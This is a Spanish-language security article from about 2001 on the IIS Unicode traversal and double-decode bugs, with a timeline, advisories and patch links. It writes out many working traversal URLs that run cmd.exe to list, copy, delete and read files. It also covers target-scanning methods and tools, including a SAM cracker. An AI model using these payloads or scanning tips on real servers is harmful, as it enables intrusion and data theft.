SEGURIDAD INFORMÁTICA

Bugs CGI Filename Decode Error & transversal UNICODE: 

típicos de Microsoft IIS 4.0 & 5.0
Cuando los chicos dejaron de lado un rato los troyanos.

Actualmente en el planeta aproximadamente el 90% ( 5/2001 ) de los servidores Microsoft IIS 4.0 y 5.0 estan afectados por estas fallas ( sin nombrar las demas que afectan a estos mismos sistemas ) y cientos de miles de personas no saben que alguien literalmente se les adueño de la máquina. - Quizá nunca lo sepan - Esta sección es para que muchos se den cuenta del riesgo de seguridad informática que hay, incluso en nuestro pais que casi no existe o no muchos estan capacitados como para ser un buen administrador y tambien esta redactada para aquellos chicos estudiosos... La culpa no es toda del niño que rompe o se intromete, la culpa esta tambien en el mal administrador – que no gerencia bien su OS - y principalmente en el que publica un OS ( Operative System ) defectuoso. Y todos tienen excusas. El niño: “Porque no sabia lo que hacia”, el administrador “Porque a eso no me lo enseñaron en la facultad” y la corporación del OS: “Se nos vencieron los plazos de presupuesto y tiempo, asi que tuvimos que sacar el producto como estaba...” Bueno, asi que con esta sección el niño va a aprender sin romper nada, el administrador va a saber preve- nirse y actualizarse, y el corporativo quizá destine mas dinero de marketing en el desarrollo del software. 

En esta nota abordaremos estas dos fallas, comenzando con una pequeña linea de tiempo y el 1er bug:

. Octubre 17 Microsoft avisa de una falla en el Microsoft Security Bulletin (MS00-078) Traversal vulnerability: www.microsoft.com/technet/security/bulletin/MS00-078.asp . Octubre 20 Nsfocus – Chinos informáticos descubridores de esta falla, esperan a que Microsoft haga el parche y dan aviso a su gente por mailing www.nsfocus.com/english/homepage/sa_06.htm y como dan detalles de cómo es y como explotar esa falla: comienza el rock & roll -  . Octubre 20 en occidente, Hispasec saca traducido al español en su lista de segu- ridad el aviso y se entera gran parte del under hispanoparlante. La falla UNICODE ya estaba probandose y 

patcheandose en la net, mientras tanto en securityfocus.com ya estaban posteando exploits - para explotar la falla desde todo el mundo IIS-zang.c, iis-zang.exe, IISuni.c, unicodecheck.pl . En cambio mucho despues en packetstorm aparecieron los primeros programitas plataformas win32 para el Unicode, IIStorm, url scan- ner, Unisploit, Porongator, Fuckserver y decenas más.  

Argentina y el mundo, Mayo 16: El UNICODE sigue estando en todos lados:  Nadie parece haberse enterado de esto... debajo de las baldozas, con un Mac combo viene ahora un UNICODE o en las tapitas de gaseosas. Lo interesante es que solo con usar Windows e Internet explorer Browser pueden explotar la falla tranquilamente ( Pareceria que los bugs y los software de la misma firma se llevan muy bien. ) Solo metiendo ciertos URL en el browser ya estarias dentro del server, increíble no ? Es por demas de versátil y peligroso para el administrador descuidado porque pueden hackearle el sitio, bajar data, borrar, escribir, subir troyanos y ejecutarlos, leer archivos de texto, hasta simplemente formatear el server. Los comandos son tipicos de Ms-Dos como por ejemplo:

http://servidor/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
Con esto tiene que aparecer el listado del rigido c: luego existen muchas otras variantes como ser:

http://server/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\       

http://server/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\

http://server/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

http://server/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\

http://server/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\

http://server/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\

http://server/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir +c:\

http://server/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

http://server/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

http://server/iisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/ cmd.exe?/c+dir+c:\

Y el curioso una vez que listo el rigido del server va cambiando los comandos, por ejemplo: Crear directorio http://server/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+md+c:\Administrador_arregla_esto  Copiar: http://server/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/
c+copy+c:\xxxx.mdb  Bajar: Se copia primero el archivo y luego pones esto: http://server/msadc/ xxxx.mdb y bajara automaticamente. Borrar: http://server/msadc/..%c0%af../..%c0%af../..%c0%af.. /winnt/system32/cmd.exe?/c+del+c:\xxxx.mdb Ver txt : http://server/msadc/..%c0%af../..%c0%af.. /..%c0%af../winnt/system32/cmd.exe?/c+type +c:\xxxx.txt Luego de cada comando aparece un error, pero es típico, funcionó. El resto de los comandos son muy maliciosos como para ponerlos, como ser format. 

Los curiosos utilizan este bug para meterse en las maquinas o bien buscando al azar escaneando rangos  

( la gran Script Kiddie ) o como 2do: target definido. Los rangos de IP a scanear facilmente los resuelven en algun mail de la empresa que quieren scanear, amigo con ip de tal ISP o sino hacen un whois en ARIN y asi obtienen los rangos a scanear serialmente y al azar, técnicas de busqueda de objetivo y focalización hay muchas como asi recursos en la net, el buscador netcraft por ejemplo es un claro ejemplo de como ubicar una especie de target definido. Hay muchos pasos más: borrar logs, subir files por Tftp que no detallaré.

 Herramientas complementarias que suelen usar:  URLscaner del SSH team  Scan exclusivo de UNICODE, excelente a mi parecer por como funcina, poseo una release que no es publica que tiene unas utilidades que te hacen aun mas comodo encontrar dicha falla . Shadowscan 2.07 Editás el archivo cgi.txt y le agregas todas las variantes. Eligiendo el rango de ip 0-255 va a ser rapido y 7 veces mas rapido y efectivo que la tool anterior. Ademas tiene muchas utilidades interesantisimas. Sharesniffer: Tiene como utilidad práctica la busqueda por palabra o ip del rango que quieras y te ahora no ir al sitio de ARIN y no hacer tal tramite, luego el fin del programa es otro pero no viene al caso.  Proxis: Se usan los proxys que se publican en www.cyberarmy.com en la seccion portal, son los mas actualizados dia a dia.  Lopth: Desencripta los ficheros SAM – Reitero que hay decenas de herramientas mas pero usualmente estas son las mas utilizadas por los chicos curiosos.

Los Parches para este bug UNICODE estan en: 

IIS 4.0 http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp
IIS 5.0 http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp
Y si bien eramos muchos parió la abuela nomás, este 15/05 llegó el DECODE BUG: Una vez mas el excelente equipo de NSFOCUS anunció a Microsoft de una falla superior en riesgo a la de UNICODE, la cual padecen muchisimos servidores montados en plataforma IIS 4/5 ( NT/Windows 2000 ),en los cuales un intruso o atacante puede ejecutar comandos remotos a través de una simple URL en el browser Internet Explorer, logrando asi un privilegio tal que puede lograr ejecutar comandos tal cual como en el bug UNICODE. Bueno, esta falla ademas de tener toda la versatilidad de su hoyo antecesor, como agregado para el atacante se podrá lograr en el server no actualizado, un ataque de denegación de servicio ( DoS ) FTP y como si fuera poco la identificación de cuentas de usuarios por FTP.

Dicho Bug fue encontrado y reportado exactamente el 27/3 por este equipo de informáticos, pero a pedido de Microsoft tuvieron que atrasar su Mailing de seguridad (NSFOCUS Security Advisory SA2001-02) hasta el día de hoy y darle tiempo a Bill para poder solucionar el error en las máquinas de la gente con el desarrollo de un parche. Para más información técnica de cómo es el hoyo de seguridad: www.nsfocus.com/english /homepage/sa01-02.htm  La falla es explotada ( siempre hablamos de que se hace desde el browser ) de la misma manera en comandos Ms-Dos remotos igual que el hoyo antecesor UNICODE traversal vulnerability.

Luego de desarrollar este parche Microsoft envio su advertencia en su ya conocido boletin de noticias: www.microsoft.com/technet/security/bulletin/MS01-026.asp 

La sintaxis para listar el rigido c: por los curiosos e intrusos esta vez es la siguiente, ya habrá más: 

http://SERVER/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
Los parches se encuentran en las siguientes direcciones:

Microsoft IIS 4.0: www.microsoft.com/Downloads/Release.asp?ReleaseID=29787 

Microsoft IIS 5.0: www.microsoft.com/Downloads/Release.asp?ReleaseID=29764
TOP5 Direcciones de interés:

http://users.geomax.net/comcor/iis/last10.php3  Sitio Ruso donde figuran un Top 10 de sitios vulnerables.

http://www.webattack.com  Descarga gratuita de mucho soft de calidad, chequeo, rankeados y por rubro.

http://www.atlas-iap.es/%7Epepcardo/curs2.htm Curso de Ms-Dos 

ftp://ftp.technotronic.com/ Execelentes recursos de seguridad (FTP)
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Tip1* TODO AQUEL QUE USE SISTEMAS WINDOWS HAGA ADEMÁS: Inicio---Windows Update y descargue e instale las cosas recomendadas y las actualizaciones críticas. Luego no critiquen que se les cuelga o les pasa algo si es que no tienen al totalmente al día su sistema. Actualizaciones criticas y recomendadas principal- mente. Tip2* Si por casualidad ves que encuentras un servidor vulnerable asegurate al menos tratar de reportarlo si asi lo deseas porque no sabes si atrás tuyo pasa alguien y rompe todo.  P/d: Microsoft ha anunciado que no publicará el Service Pack 7 por el momento. 
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